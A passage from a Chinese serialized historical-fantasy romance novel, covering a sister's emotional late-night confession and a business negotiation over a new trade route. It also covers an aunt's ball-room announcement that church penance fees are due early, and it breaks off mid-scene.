“这其中包括了赫尔曼·怀特?” “是的,包括他。”奥黛丽声音低了下来,“可是这也很奇怪不是吗?事实上,赫尔曼并不是从一开始就很好。他很冷漠,也很不好接近。我虽然欣赏漂亮的男士,在这种情况下,也不会认为自己多么特别,足够让他另眼相待。” 室内温暖,烛火昏黄,伊莎贝尔静静看着妹妹,小小的人一瞬间似乎长大了,变成了忧愁的少女。 “慢慢的,他有所改变,我知道,他应该不再抗拒我。”奥黛丽回忆起动人的画面,“他在礼堂吻我、为我画画、和我跳舞、奋不顾身下水救我。我们也吵过架,他暴露了自己最真实的一面,我却并不觉得难以接受。” 伊莎贝尔:“所以你判断自己喜欢他。” 奥黛丽没有立刻回答,而是疑惑地看着伊莎贝尔:“姐姐,下判断前,我更想知道,喜欢一个人应该是怎么样的?” 伊莎贝尔思考片刻:“亲爱的,这没有标准答案。” “是的,没有标准答案。我只能拿它和我其他的喜欢相比较。”奥黛丽捧着脸说,“喜欢家人朋友,喜欢宠物,都是很纯粹的情绪。可是我喜欢他的时候会夹杂着其他的东西。” 昏黄光线下,那双水蓝色的眼睛澄澈动人。 她垂下眼眸,“我不知道为什么会为他着迷。” 伊莎贝尔:“着迷?听起来是不属于你的词语。” “是的,在遇到他之前,我对万事万物的喜欢都是温和平等,遇到他之后,我逐渐发现了……”奥黛丽顿了顿,眸光微怔,“发现了埋藏心底的阴暗面。” “赫尔曼除了外貌完全符合我的审美,他的性格,他的人生经历,他的价值观,和我完全不同。” “在他的世界里,所有事情的出发点都是利益。我知道,这不是他的错,只是成长环境将他塑造成了这样。” “第一次产生冲突的时候,理智告诉我,我们是截然不同的两个人,就像两条轨道恰好同行,却不能要求它与我接轨。可当我发现那座冰山渐渐为我消融,我必须坦诚,内心的窃喜与满足。”奥黛丽低下头,“姐姐,我为此羞愧,因为意识到,我竟然将付出的情感当成武器,并得意洋洋地看着对方成为我的俘虏。” 伊莎贝尔静静看着奥黛丽,“主动付出情感的人,是理所应当的上位者。只是世人常常误以为被爱者才是赢家。” “是的,我主动去爱,成为了真正的赢家,并因为胜利而快乐,甚至在某个瞬间很享受这种俘获人心的游戏。”奥黛丽皱起眉,“等清醒过来,又为自己的卑劣而羞耻。” “看来是时候让你放下道德感。”伊莎贝尔揶揄。 奥黛丽沮丧:“噢,拜托,别调侃我,亲爱的。这份喜欢带来的糟糕之处不止如此。” “除了洋洋得意,我偶尔还很悲观。看他为我弯腰的瞬间,我会想,能不能彻底改变这个人呢?”奥黛丽轻声说,“很难以置信吧,我竟然会产生想要改变一个人的妄念。一点点甜头还不够,我贪婪地想要全部。” 伊莎贝尔没有说话,安静听着她的叙述。 “我凭什么改变他呢?情感上来说,我们是独立的人。现实中,我们的婚姻从交易开始,我是一个名为怀特太太的傀儡,依靠他生活,后半生全指望他。哪有立场要求他改变。” “我做了情感的上位者还不满足,因为不平等的地位,总是让我感到危险。我会想,他现在固然喜欢我,愿意为我做出表面的改变,可是忍不住担忧,这样的喜欢能持续多久?他为迎合我而做出的改变,又能维持多久?” 伊莎贝尔:“这份喜欢,让你思考得更深入了。” “也伴生了更多烦恼。”奥黛丽点头,露出与以往不同的神情,“老实说,假如仅仅只有爱情,那么就算它终将随风飘远,彼此也能开启新的人生。可……我们之间却还存在着婚姻的枷锁。” “我很清楚,我要承担婚姻的责任,即便感情破裂,分崩离析,我们也必须维持着貌合神离的婚姻。” “如果我不爱他,那么当这一天来临,我不会感到难过。可如果我爱他,我无法想象我该多么痛苦。”奥黛丽扯开一丝笑。 “歌剧里总是写,女主角愿意为爱赴汤蹈火,可是从来没有人告诉我……”她说,“原来爱情也会苦涩。” “当我对一个男人的情感充满占有欲,悲观就如影随形。它让我敏感、贪婪、忧愁、患得患失,为了维持平稳的婚姻,不让它走向最坏的结局,我还必须藏起这一面……”奥黛丽抬起头,水蓝色的眼睛露出和平常不同的认真,“多么可怕啊,原来喜欢一个人,会让我变成另一个自己。” “截然不同的……肤浅、愚蠢、悲观的……”她低下头,悲伤地微笑,“让我有点讨厌的自己。” 北方的夜晚格外寒冷,城堡里彻夜亮着昏黄的灯,室内静谧得似乎能听见雪落下的声音。 伊莎贝尔注视着妹妹的眼睛,窥见她内心最真实的角落——乐观天使也有悲伤,虽然它们总是被压在箱底。 她想起奥蒂启程的那天,也是维持着笑脸,所有信件都是报喜不报忧。 如果不是最信任的人在身边,恐怕这些烦恼会永远不见天日,直到自己都忘干净。 “亲爱的,我对你的自我评价保留意见。同时我必须告诉你,没人能替你的感情做出决策。”沉默良久,伊莎贝尔捏了捏奥黛丽的脸,“我只希望,你任何时候都是快乐的。” 奥黛丽垂下头,沮丧道:“看来我没能实现你的心愿。” “不,我说的快乐,不是要你任何时候都强装出快乐。”伊莎贝尔缓缓道,“它是开心就大笑,难过就哭泣,被冒犯就发脾气,快乐不是你的目标,是做你当下最顺心的选择,就像你现在选择和我吐露所谓阴暗的心事。” 伊莎贝尔将妹妹搂进怀里:“此刻,请你再次回答我,在温斯顿庄园,你感到快乐吗?” 奥黛丽沉思片刻:“大部分时候是的。” 伊莎贝尔:“也就是说,偶尔会难过。” 奥黛丽顿了顿。 姐姐总是能轻易看穿她的伪装。 “是的,偶尔会,但那是我自己的问题。就像刚才为感情困惑一样,我总是自寻烦恼。”她认真说,“我想在怀特太太这个身份之外,做出一点成绩。想帮这个,帮那个,甚至想改变世界,却忽略了我并不能随心所欲。” “事实上,赫尔曼和葛丽泰夫人对我都很好,我只是……我只是……” 她卡顿半天,找不到合适的形容,似乎是将情绪掩藏太久,甚至忘了它们的起源。 伊莎贝尔静静注视着妹妹,冰蓝色的眼睛似乎已经看透一切。 小时候树立的盾牌可以抵抗外界的恶意,可此刻的伤害,来自她善良的天性。 共情是她的天赋,也是双刃剑,她会为一朵花的凋零而难过,会体谅工人的疾苦,会设身处地为别人思考,哪怕这个人给予她伤害,她也不计前嫌。 “老实说……”伊莎贝尔突然叹了口气:“如果知道有今天,我也许不会教你成为一个太过善良的人。” 奥黛丽靠在姐姐肩上,微笑:“我现在成为坏蛋还来得及吗?” “恐怕在五岁的时候就来不及了。”伊莎贝尔挑眉,“诺曼小小姐是个连院子的金盏菊枯萎都要掉眼泪的糯米团。” “不过……”伊莎贝尔顿了顿,冰蓝色的眼睛里暗含温柔,“我不会阻止你将手心的玫瑰送给别人,因为那是你的选择。” 奥黛丽选择做一个赠人玫瑰的笨蛋,那也很好。 ——我只是,会心疼你掌心的刺。 成长的路上到处都是荆棘,伊莎贝尔不会说出这份关怀,让它成为阻拦妹妹朝理想目标前进的温柔陷阱。 “亲爱的,你只需要记得。我问你是否快乐,不仅是指在温斯顿庄园,而是任何时候……”伊莎贝尔眸光温和,轻拍奥黛丽的脑袋:“任何时候,你大可把那些犹豫踌躇和恐惧都扔到脑后,做出最快乐的选择。” 奥黛丽微怔。 “如果想尝试爱情的滋味,那就勇敢去体验。不用顾忌他是谁,不用害怕潦草收场,不用担心会连累家人。”伊莎贝尔看着她,“你可以为爱昏头,可以忘掉理智彻底沉浸在感情里变成一个傻蛋,你甚至可以在腻了之后掉头就走,我只需要你想做什么就做什么。” 奥黛丽愣了许久,嗓音干涩:“可是我和他之间,从一开始就不平等,所以……” “所以我会将天平里属于你的一方抬高,抬到和他平等的位置。”伊莎贝尔缓缓道,“从我踏进温斯顿庄园开始,你只需要像普通的姑娘一样恋爱。可以争吵,可以任性,可以委屈,可以洋洋得意,不用强迫自己接纳一切。” 她伸出手,摸着奥黛丽的头,嗓音清缓,“因为我永远在你身后。” “我……”奥黛丽愣住,刚想扯出一丝笑,脸颊就被伊莎贝尔掐住。 “笑不出来的时候,不许笑。” 奥黛丽瘪了瘪嘴,她深吸一口气,想强忍住泪意。可是就像白天见到姐姐那样,全身的情绪都不听使唤。 终于,两滴眼泪砸在枕头上,留下洇湿的痕迹。 “我……我……” 她哽咽着,小声的呜咽逐渐化作伤心的抽泣,泪珠大颗大颗地掉,最终嚎啕大哭。 ——我好伤心啊。 在此之前,她甚至不知道自己有这么多伤心。 离开家她好害怕,她见到冷脸的赫尔曼、最初不太友好的卡洛琳、使绊子的丽萨、冷漠的仆人……所有人都不喜欢自己,她还要接受新的身份,突然从一个无忧无虑的女孩成为别人的太太。 她害怕很多事情,很多时候都在回避冲突。 委屈,难过,任性,通通藏起来,假装自己是充满能量的永动机。 意识到与赫尔曼价值观不一致,她不敢强加干涉,只能用自己的方式试图感化他。改良机器遇到困难,也不敢说,因为那本就是她额外的请求……太多太多了,她很喜欢他,有时候又不敢太喜欢,瞻前顾后,不敢任性,不敢发脾气,有时候想起当初他冰冷的眼神,心里还是一阵颤抖。 明明都是鸡毛蒜皮的委屈,当时只在心里留下很浅的划痕,不怎么疼,可是在姐姐面前突然间通通爆发,哭得整个人都颤抖。 像回到小时候被卢卡斯小姐抢了玩具,在大人看来丁点大的事,对于五岁的奥蒂来说却是天崩地裂的难过。那时她也像这样嚎啕大哭。 窗外的雪还在下,似乎也为这个女孩而伤心。 伊莎贝尔什么也没说,只是沉默地抱着奥黛丽。 像安慰被卢卡斯小姐欺负的小姑娘,她没有高高在上地指责,也没有敷衍地安慰,她只是认真倾听小奥蒂诉说着天崩地裂的烦恼,即便只是被抢了娃娃。 痛苦怎么能比较呢?成长的阵痛和那些改变世界的大事一样重要。 比起勉强的微笑,伊莎贝尔很愿意看见奥黛丽真实的眼泪,在外面她可以一直坚强,在这里却可以变成脆弱的奥蒂。 伊莎贝尔既为此惆怅,又为此开心——因为一朵金盏菊枯萎而难过得吃不下饭的小姑娘,终于有了爱情的烦恼。 能完整体验爱情的酸甜苦辣是好事。无论奥黛丽选择留下这枚果实,还是丢弃,都是自由。 反正无论做什么决定,伊莎贝尔都有为她兜底的能力。 至于带给她爱情烦恼的那个男人——赫尔曼·怀特,究竟是个怎么样的人,伊莎贝尔会亲自去探出他的底细。 —— 作者有话说:一生已经度过三分之一,童年还像是昨天。 有些是鸡毛蒜皮,有些是年纪小,误以为也很小、现在想来却很崩溃的大事,零零总总,很难忘记。 虽然生活里没有伊莎贝尔为我接住年少时的眼泪,但长大的过程中也挣扎着成为了坚定快乐的人。 有时候碰到难关过不去,我就会想想如果是笔下的女主们,她们会怎么做,然后我就得到了答案。 我很爱笔下的所有女主,是女儿,是朋友,是老师,是住在文字里的灵魂。我爱她们,向往她们,想成为她们。 正好写这章有感而发[哈哈大笑]就是觉得高敏感这把双刃剑,需要剑鞘。 无论用什么方式,禁止反刍痛苦。 一切都在好,一切都会过去,像奥蒂这样哭一哭,把委屈哭出来,明天还是晴天。 [哈哈大笑]祝大家愉快,心想事成! 第67章 后半夜,奥黛丽哭完就睡着了。 第二天一醒来,顶着两个红肿的眼睛面对姐姐,还有些不好意思。 哭得时候好像天塌了,全世界没有比自己更难过的人。等清醒就觉得没什么大不了。 奥黛丽发现了人生真理——人不能在晚上做决定,容易感情用事。 “姐姐,其实,我也没有我自己说得那么惨……”卧室里,奥黛丽顶着一头乱发坐起身,试探地看向姐姐,“你可别误会赫尔曼对我做了多么过分的事。” “嗯,我不会误会,更不会找人和他决斗。”伊莎贝尔靠坐在床头,露西为她支起餐桌,正在摆放早餐,“毕竟有个傻姑娘哭得这么惨,还记得替他说好话。” 奥黛丽满脸通红:“我……我只是实话实说,不是怕他怎么样。” 伊莎贝尔但笑不语。奥黛丽却在姐姐的目光里心虚低头, 生怕自己太像歌剧里为爱昏头的女主角,又或者是一遇帅哥误终身的安娜姨妈。 吃过早饭, 艾米丽来为伊莎贝尔梳妆打扮。 奥黛丽本想黏着姐姐,看她这个样子以为是有正事,便不敢打扰。 下午,伊莎贝尔坐上马车, 却是去往赫尔曼的公司。 银头发先生像是早有预料,在办公室等候多时。 两个聪明人的会面总是省掉许多不必要的麻烦。 就像现在,谁也没有多余的寒暄,单刀直入主题。 “打算怎么解决这次危机?怀特先生。”伊莎贝尔摘下蕾丝宽檐帽,放下手包,闲适地坐在会客室沙发上。 赫尔曼知道妻子的这位姐妹不是简单人物,他在墨伦维克有可靠的消息渠道,自然清楚这位诺曼小姐已经成为斯宾塞的话事人。所以才能代替公爵坐在这间办公室,和他谈判。 对于公爵夫人而言,这次肯特郡之行也并不单纯是看望妹妹,某种意义上来说,他们的目的是相似的。 “斯宾塞太太,应该是我先问你,此行想得到什么?”虽然有猜测,赫尔曼还是例行试探。 不料,伊莎贝尔直白道:“钱。” 赫尔曼挑眉,旋即点点头。 他欣赏合作者的直率,这意味着今天的谈话会很有效率。 “想喝点什么?”他招手叫来助理。 伊莎贝尔:“茶,最好是东方红茶。” 赫尔曼抬了抬下巴,助理很快走了出去。 等室内安静下来,他抽出支票,写了一串数字,推了过去。 “这份酬劳,够支付公爵夫妇的出场费吗?” 伊莎贝尔两根指头捻着支票,唇角微弯。 旋即,当着男人的面缓缓撕碎,随手一扔。 支票碎片纷纷扬扬,深灰色的眼睛浮现冷意,赫尔曼面无表情:“公爵夫人,看在你是我妻子亲姐妹的份上,我可以容忍你这次的无礼。我相信我支付的数字够有诚意。” “诚意?”伊莎贝尔嗓音温和:“怀特先生,看在你是我亲姐妹丈夫的份上,我可以容忍你这次把我当傻子愚弄,但没有下次了。” “我并没有愚弄你,圣曜节即将到来,所有支持我的商人都在等援助资金,一旦教会再向我施压,我的资金链就彻底断了,工厂也会陷入停摆。”赫尔曼顿了顿,“简而言之,我需要一个强有力的靠山帮我稳住局面,给我从其他地方挪出资金的时间。只要缓过了压力,你不满意这个数字,我还能再往上加。” “言辞恳切,有理有据。”伊莎贝尔轻笑,冰蓝色的眼睛里暗含深意,“原来你就是用这种伪装蒙骗了我的姐妹。如果是她在这里,立刻就会相信你。很可惜,坐在你对面的是我。” “你的提议的确很诱人,斯宾塞只需要露个面,就能赚到这么丰厚的报酬。”伊莎贝尔眼带嘲弄,“可对比你获得的,丰厚得像打发乞丐。” 赫尔曼嗤笑:“乞丐如果得到这笔钱,能直接买下圣匹斯堡,维持豪奢生活直到他曾孙子辈。” “那我们还不如乞丐,这点钱只够查尔维斯所有人活半辈子。”伊莎贝尔说。 赫尔曼缓缓抬眸:“所以你到底要什么?” 伊莎贝尔语速飞快:“我要换取的不是一时的利益,而是长久的合作。” 赫尔曼沉默,他盯着对面这个和妻子长相相似的女人,内心却升起警惕。他不动声色垂眸:“我现在自身难保,怎么合作?” “别再演戏了,怀特先生。”伊莎贝尔好笑地摆摆手,眼带嘲弄,“你真的以为诺曼家所有人都能供你算计吗?” “锡兰的生意不好做吧?教会掐住商人的命脉,层层税务重压和技术垄断,几乎只能让你们跟在背后喝口汤。像布鲁森家族那样的老牌哈巴狗,当然愿意摇头摆尾捡点残羹剩饭,而你……大风大浪里闯过来的怀特先生,真的甘心屈居人后?” 伊莎贝尔那双眼睛似乎有穿透人心的力量,她一眨不眨地盯着赫尔曼。 “如果没猜错……”她眸光清亮,“你看似举步维艰,实际上早就想好退路。” “你拉拢一圈没用的同盟,又让所有人都知道你资金不足,就是想让他们放松警惕。”她说,“而我们在这个时间节点到来,更让人觉得你是在以我们的名头筹措资金,以此维持正常运转。” “可你根本没打算在哈登菲尔德赚这点蝇头小利,是的,别说有技术垄断,就是没有,几个工厂能为你创造多少利润呢?哪里比得上助你发家的航海贸易?” 伊莎贝尔顿了顿,眸光深沉,“你想用斯宾塞的头衔,打通一条新航线,这才是你打从一开始,用债务威逼诺曼家族结亲的真正目的。” 沉默在空气中蔓延,室内针落可闻。 赫尔曼发出短促的轻笑:“冒昧问一声,你的猜测从何处而来?最新畅销的幻想吗?” 伊莎贝尔丝毫没有愠色,脸上什至带了几分温和的笑。 她从手包里拿出一条被折叠的丝巾,缓缓展开——是熟悉的植物,菖蒲。 “对它有印象吗?怀特先生。”伊莎贝尔微笑,“这可是你费尽心思从东印运来的救命药草。” “我派人去黑市调查它的来源,一无所获。但出海远东的货运轮船,其中一艘正好属于你。”她不急不缓,又将丝巾叠好,“我还在奇怪,既然是姻亲关系,为什么怀特先生做好事不留名?原来你是故意留一个口子,就看我能不能猜到你的目的。” “猜错了,就只配得到刚才那张支票。猜对了,才有资格和你谈判。”伊莎贝尔顿了顿,看向对面,“现在,请问可以真正进入主题了吗?” 赫尔曼直视着伊莎贝尔,脸上的情绪喜怒难辨。 双方陷入无言的对峙,似乎在审视彼此的虚实。 片刻后,他终于收回谈判时常用的前倾姿态,往后靠坐着椅背。 “你猜对了一半,药草是我送去墨伦维克的,但它是如何从远东来到锡兰,恰好出现在我搜寻范围之内的,我却不知道。我不想贪墨这份功劳。” 伊莎贝尔:“但得到药草后,将计就计地试探我,的确是你的安排。” 抬手倒了杯咖啡,赫尔曼淡淡道:“是的,请原谅我的试探,毕竟谁也不想自己的伙伴是连这点障眼法都看不穿的蠢驴,那我不如和布鲁森合作,至少他摇着尾巴吃点剩饭就能满足。” “当然,就像我讨厌满嘴谎话的狐狸自以为高明地试探,被戳穿后难免有种占不到便宜的恼怒。相信我,没有冒犯的意思,我理解这是所有奸商的通病。”伊莎贝尔面不改色还击。 赫尔曼嗤笑,并不想把时间浪费在嘴炮上,径直拿出一份文件,扔过去:“这是开通新航线的商业计划。按照锡兰法律,只有贵族才有资格领航。借斯宾塞的头衔,我出钱出力,二八分账。” 伊莎贝尔一目十行,很快合上文件:“五五分账。” 赫尔曼盯着她,收回文件:“我开始怀疑你是否理解这条航线的利润,这可是去往东印的船。如果是来愚弄我,干脆结束合作吧。” “你错了,我不是海盗。”伊莎贝尔信手在一旁的白纸上写下一串数字,“我会用斯宾塞的名义贷出这笔款项注资……” 赫尔曼垂眸,将白纸推了回去:“我不需要钱。” “我还没说完。”伊莎贝尔打断道,“另外,我会注册一家公司,和怀特船运一起开拓这条航线。” “开拓?”赫尔曼皱眉。 “是的。”伊莎贝尔将文件上的东印划去,写下另一个单词——华夏。 “开拓全锡兰第一条,真正通往华夏本土的航线。” 赫尔曼目光一怔。 “华夏?” “你在开玩笑吗?”赫尔曼冷笑,“华夏?官方是有少量船只能够与之通商,但都是通过东印属地。他们外有坚船利炮,内有富饶的物资,压根不稀罕来自西方的货品。你以为没人打过华夏的主意吗,可惜都沉在了大海里。” “那是因为你们根本不了解华夏。”伊莎贝尔冷淡道,“我不想解释太多,总之,我这边会负责主要贸易沟通,你只需要提供物资支持。” “怀特先生,你是商人,不用我提醒你第一条成功与华夏通商的航路,会为你赚到多少钱吧?那可比去东印的小打小闹要丰厚得多。”她强调“丰厚”这个词,眼底十足的嘲弄。 “那也得成功才行。”赫尔曼冷笑。 伊莎贝尔:“我比你更希望成功,毕竟斯宾塞已经穷困潦倒。而你只是装模作样的喊穷。” 赫尔曼审视着她,似乎在看着一个赌徒。 “你到底有几分把握,诺曼小姐?”他没有称呼斯宾塞太太,神情认真了几分,“海上博弈没有稳赚不赔的说法,意外风险太多了。如果失败,我会和斯宾塞一样穷困潦倒。” “说实话,就三成。” 伊莎贝尔没有回避他的眼神,“一成在于我对华夏的了解,一成在于所有人都对目前的华夏不了解,最后一成……” 她耸了耸肩,坦然道:“来自我的信心和智慧。” 赫尔曼忍住翻白眼的冲动,深吸一口气,“三成,就让我赌上全部身家……” 伊莎贝尔:“三成,换你彻底成为整个锡兰都无法撼动的顶级商人。” 空气陷入凝滞,两个赌徒对峙着,沉默良久。 赫尔曼缓缓开口:“你赢了,合作愉快,明天我会让查尔斯拟定新合同。” 伊莎贝尔抬眸:“新合同里,再加一条。” 她拿出一张支票,是当初露西收着压箱底的聘礼,今天是时候发挥作用,“这份资金,以伊莎贝尔·诺曼的名义注资,以四四二的比例分成。你我各四,伊莎贝尔得二。” 赫尔曼瞬间明白她的意思。 他们谁也不信任彼此,唯一的纽带是他的妻子,她的姐妹。 一旦哪天利益同盟破裂,怀特太太的股权能直接左右局势。 这也在变相抬高她的地位。 当然,赫尔曼并不知道伊莎贝尔的举动还有另一层深意。 站在她的角度,如果姐妹俩的身份换不回来,那么属于“伊莎贝尔”名下的股权,就是奥黛丽在温斯顿庄园的底气。即便将来有一天能够换回来,那更好,属于“奥黛丽”名下百分之四十的股权一样能够归属于妹妹。 无论事情如何发展,这份资产将是伊莎贝尔送给奥黛丽傍身的基石。 赫尔曼脸色缓和,没有丝毫犹豫:“我同意。” 话音落下,伊莎贝尔才露出进门以来第一个真心的笑容,虽然一闪即逝:“你的果决还算让我看得起。” 赫尔曼冷哼:“你该庆幸自己是她的姐妹。” 合作已经协商完毕,助手适时敲门,送上红茶。 “公事谈完了,说说私事。”伊莎贝尔喝了一口,淡淡道,“还是那句话,我讨厌耍心眼的狐狸,如果你把现在的手段用在你妻子的身上,那你今天得到了什么,往后我都会让你翻倍吐出来。” 赫尔曼脸色沉了下去,他嗤笑:“你在威胁我?诺曼小姐,你不会想知道上一个威胁我的人是什么下场。” “另外,容我提醒你,你的姐妹现在是怀特太太,别用你诺曼的姓氏对她指手画脚。”他一字一顿,“我们之间的事,轮不到你插手。” “这可不由你说了算。”伊莎贝尔平静回视,“现在她喜欢你,我会对你的毛病报以宽容,如果有一天她想离开,那么谁也别想强迫她留下,包括你。” 赫尔曼微眯眼,脸色突然一怔,“她对你说,她喜欢我?” 伊莎贝尔面无表情地看着他,微笑:“看起来你才知道这件事,别沾沾自喜,说不定哪天她就腻了。” 赫尔曼紧抿唇角,刚要反击,门被敲响。 一个金色卷发脑袋探了进来,惊喜道:“原来你们在这里啊!我在家等了半天,查尔斯说你们在谈公事。” 剑拔弩张的两个人立刻收敛神情。 伊莎贝尔温声道:“你怎么来了?外面很冷,也不穿厚一些。” 奥黛丽高兴地挽着伊莎贝尔的手:“我不冷!你们在聊什么?” 赫尔曼不动声色将谈判的合同与支票碎片扫到一边,“谈怎么应对资金链断裂的事,明天可以举办迎接舞会,先让同盟们安心。” 伊莎贝尔默契接话:“是的,另外再着手安排技术研究,试着打破教会垄断。” 两个聪明人没有对口供,但已经三言两语将另一个计划提上日程,顺便蒙骗一下奥黛丽,营造和谐的假象。 奥黛丽不疑有他,带着丈夫和姐姐启程回庄园。 刚进门,伊莎贝尔外套还没脱,就对上餐厅里的海因里希。 他正洋洋得意,今天趁着奥黛丽不在,赶紧霸占伊莎贝尔旁边的位置,结果一回头就看见妻子从外面回来。 “你去哪了?快过来,坐我身边。” “我去谈公事。”伊莎贝尔上前亲了亲丈夫。 海因里希脸色刚缓和,就看见奥黛丽和赫尔曼一起走进来。 一看到姐夫,奥黛丽就没好脸色,嘟囔道:“公爵先生,别对我姐妹那么凶,我们只是出去一趟。” “你们三个人怎么在一起?”海因里希立刻垮脸,打量一行三个人,向伊莎贝尔控诉道,“你谈公事,她都能去,你怎么不叫我?” 伊莎贝尔闭了闭眼,任由露西帮她摘帽子。 奥黛丽躲在赫尔曼背后呛声:“为什么要带你?我们谈正事,我负责研究技术!” 海因里希冷笑:“你有技术怎么了?我有头衔,不是因为我妻子,我才不来这个破地方。” 奥黛丽忍不住了:“破地方?那这里不欢迎你,你走,把我姐妹留下。” “呵,我妻子不走我就不走。” …… 伊莎贝尔在前面走,两个人就在后面吵。 吵得她一个头两个大,终于忍不住回头:“都闭嘴!” 世界终于安静。 赫尔曼不紧不慢跟在最后,适时拉住奥黛丽:“被凶了吧?还不回来。” 一副全世界只有我才是真的对你好的表情。 伊莎贝尔倏然抬眸:“还有你!一起闭嘴!” 说着就从他手里夺过奥黛丽,牵着上楼。 把两个男人又扔在楼下四目相对。 赫尔曼看着空空的手,眼神暗沉:“公爵先生,告诉你的太太,不该管的人别管。” 海因里希哪是个好惹的,立刻冷笑:“这句话送给你,管好你的太太!” 男人同盟说破裂就破裂,两个人分道扬镳。 第68章 章节锁定 第69章 温斯顿庄园,悠扬乐曲声还在继续。水晶吊灯垂落的碎光,落在侍者托着的银盘上,随着行动的步伐在大厅中穿梭。 餐台上的刀叉按规矩码得齐整,刃面映着女士的丝绒裙摆与绅士的燕尾服边角,连呼吸都裹着上流宴会特有的轻缓节奏。 索菲亚姑妈披着银狐斗篷走进来,领口宝石胸针在烛火下闪烁冷光。 “亲爱的, 好久不见, 这礼裙衬得你肤色亮极了。” 她微笑着上前,神情亲昵友善,很有长辈的慈爱。 伊莎贝尔同样回以贴面礼, “好久不见,索菲娅姑妈,看来前往圣匹斯堡的遥远路途,并没有影响您的状态。竟然还有精力北上肯特郡看望儿媳一家。” 索菲娅轻笑,她当然听得出这是暗讽自己遁逃圣匹斯堡,像打了败仗的士兵灰溜溜跑走,现在却又精力十足地来肯特郡捣乱。 “噢,就当这是对我的夸奖吧,毕竟谁不想一直年轻,一直活力十足?”索菲娅目光在伊莎贝尔脸上多落了两秒,嘴角勾着笑,却藏着锋刃,“你对我的到来似乎并不感到惊喜?” 伊莎贝尔绽开恰到好处的惊讶,伸手示意侍者递香槟:“不,我并没有想到会在这儿见着您,我以为失败者总是要多点时间养精蓄锐。” “让你失望了,我擅长跌倒了再爬起来。” 索菲亚接过香槟,指尖碰了碰杯沿,声音压得低了些,只有她们两人能听见,“不过……亲爱的,我们之间,没必要再遮遮掩掩了吧?你该知道我来的目的。” 伊莎贝尔啜了口香槟,笑意不变:“姑妈不妨直说。” 二人目光交汇,看似和谐的氛围实则火花迸溅。 索菲娅微笑:“我来给你传达一个好消息。” 她说着,忽然抬高音调,手里香槟杯晃出细碎的酒花:“正好,也让今晚到场的各位,都能听到这个好消息。” 众人都在默默关注着这里,听见声音,彼此眼神对视,不约而同地竖起耳朵。 海因里希眉头微蹙,大步流星走到妻子身边,刚要说话便被伊莎贝尔拉到身后,暗示性地摇了摇头。 赫尔曼和拎着裙子跑来的奥黛丽顿步站在数米开外,也看向这位不速之客。 全场目光聚焦处,伊莎贝尔面容平静,盯着索菲娅的红唇一张一合。 “还得托诺曼小姐的福,我刚从圣匹斯堡回来,见过大主教。” 这话让周围的议论声瞬间轻了下去,几道目光齐刷刷聚过来。 索菲亚慢悠悠继续:“明年,格兰芬大主教筹备在哈登菲尔德重修大教堂,为教皇华诞祈福。为此,伽蓝圣殿颁布新的神谕,要提前在肯特郡范围收缴赎罪金,用作仪式筹备和圣物修缮。” “也就是说,原定圣曜节后缴齐的赎罪金,现在要提前一个月。” 众人目光逐渐凝固,场中一静。 “提前一个月?”莫尔太太低呼出声,“家里的账目都按原日期算的,这突然提前……” 她咽下后面的话,场中所有怀特阵营的商人难看的脸色,已经说明一切。 “是啊,真令人担心不是吗?” 索菲亚的视线扫过众人,眼底的痛心如有实质,“伽蓝圣殿的指令很快就要到了,我只是得到消息,提前告知各位,还请大家早做准备啊。” “否则……”视线落回伊莎贝尔身上,索菲娅蹙着眉,唇角却勾着隐秘的笑,“如果连象征忠诚的赎罪金都无法按时缴纳,各位怎么对得起圣曜真神的赐福?又怎么让大主教批准明年的技术授权?” “你说是吧,奥黛丽。”索菲娅轻声问,“姑妈是不是给你带来了好消息,尽到了提醒义务?” 伊莎贝尔没有说话,周围的哗然声却更明显了,有人悄悄攥紧了酒杯,有人低头和身边人咬耳朵。 ——谁都知道怀特阵营的资金危机,现在,钱还没消息,“还债”的日子却提前了! 哈登菲尔德的商人大多以工厂为生,一旦技术封锁,就是灭顶之灾。所有人都心急如焚! 伊莎贝尔却没慌,她放下香槟杯,指尖在杯沿轻轻划了圈,语气平淡却带着嘲讽:“姑妈倒是急着亮底牌。可没到最后关头,就把刀子亮出来,万一收不回去,岂不是难看?” 索菲娅顿了顿,微笑:“没关系,我很享受光明正大的对决游戏。” 伊莎贝尔也笑了起来,举起香槟杯,气定神闲:“那很好,离最后日期还有一个半月,祝您度过愉快的圣曜节。” “当然,也祝福你,亲爱的。”索菲娅笑容不变,从侍应生手中拿过银狐外套,再次贴了贴伊莎贝尔的脸。 又看向海因里希,迎着他冷漠的注视,优雅颔首:“还有你,海因,祝你一切都好。” 海因里希冷笑:“如果你不出现的话,我的确很好。” 索菲娅面不改色,仿若没有听见,她又看向庄园的主人,“怀特先生,怀特太太,感谢你们的款待,祝你们有一个美好的夜晚。” 赫尔曼冷淡颔首,奥黛丽下意识躲在丈夫身后,警惕地看着这个女人。 “噢,诺曼家族的美人真多,两姐妹长得可真像。”索菲娅的目光停留片刻,笑容和煦地恭维,而后转身告别,在布鲁森家族众人的拥簇下离开。 宴会还在继续,但没有人还有玩乐的心思。 月亮西沉,太阳升起。 盛大的公爵欢迎舞会登上各大报纸头条,其中大量篇幅描述出席的贵宾,辞藻极尽华丽,但除了平民百姓,商人们的关注点已经转移。 书房,壁炉里的柴火噼啪作响,火星溅在石雕壁炉台上,很快灭成一点灰。 赫尔曼坐在红木书桌后,手指有节奏地叩着桌面,面前站着莫尔先生——他手下最资深的商人,身后还跟着两个攥紧账本的布料商,脸色都带着焦虑。 “怀特先生。”莫尔先开口,声音比在宴会上沉了些。 他把账本和纸质援助协议往桌上推了推,“我们给工人的钱已经付了,现在根本拿不出赎罪金,要是技术授权被收回,我们就全完了。” 旁边的布料商跟着附和:“怀特先生,现在机械教会正式发文,索菲娅夫人那天晚上的消息是真的!要么您现在把尾款结了,要么跟我们透露您团队的技术研究进展!我们不能再干等,万一技术真断了,这点家底全得赔进去!” 赫尔曼花重金筹建了技术研究队伍,这件事不算秘密。确切来说,所有以此谋生的商人都有自己团队,这是心照不宣的事情——毕竟没有人愿意一直活在教会的垄断下,如果谁能成为第一个吃螃蟹的人,那将是载入史册的丰功伟绩。 而赫尔曼作为领头羊,他手下的团队自然被认为是最有希望的。 然而,面对焦灼的逼问,赫尔曼没有回答这个问题。 他的手指停在桌案上的地图边缘,那上面标着新航路的虚线,却被报纸压着关键路段。 他抬眼,语气没半点急躁,反而透着冷静:“尾款十二月中旬结清,这是合同定好的,不能改。” “十二月中旬?!真等到那个时候,我们早就完了!”这回连莫尔先生都忍不住提高声线,这还是他第一次敢这么大声对赫尔曼说话。 赫尔曼面无表情盯着他。 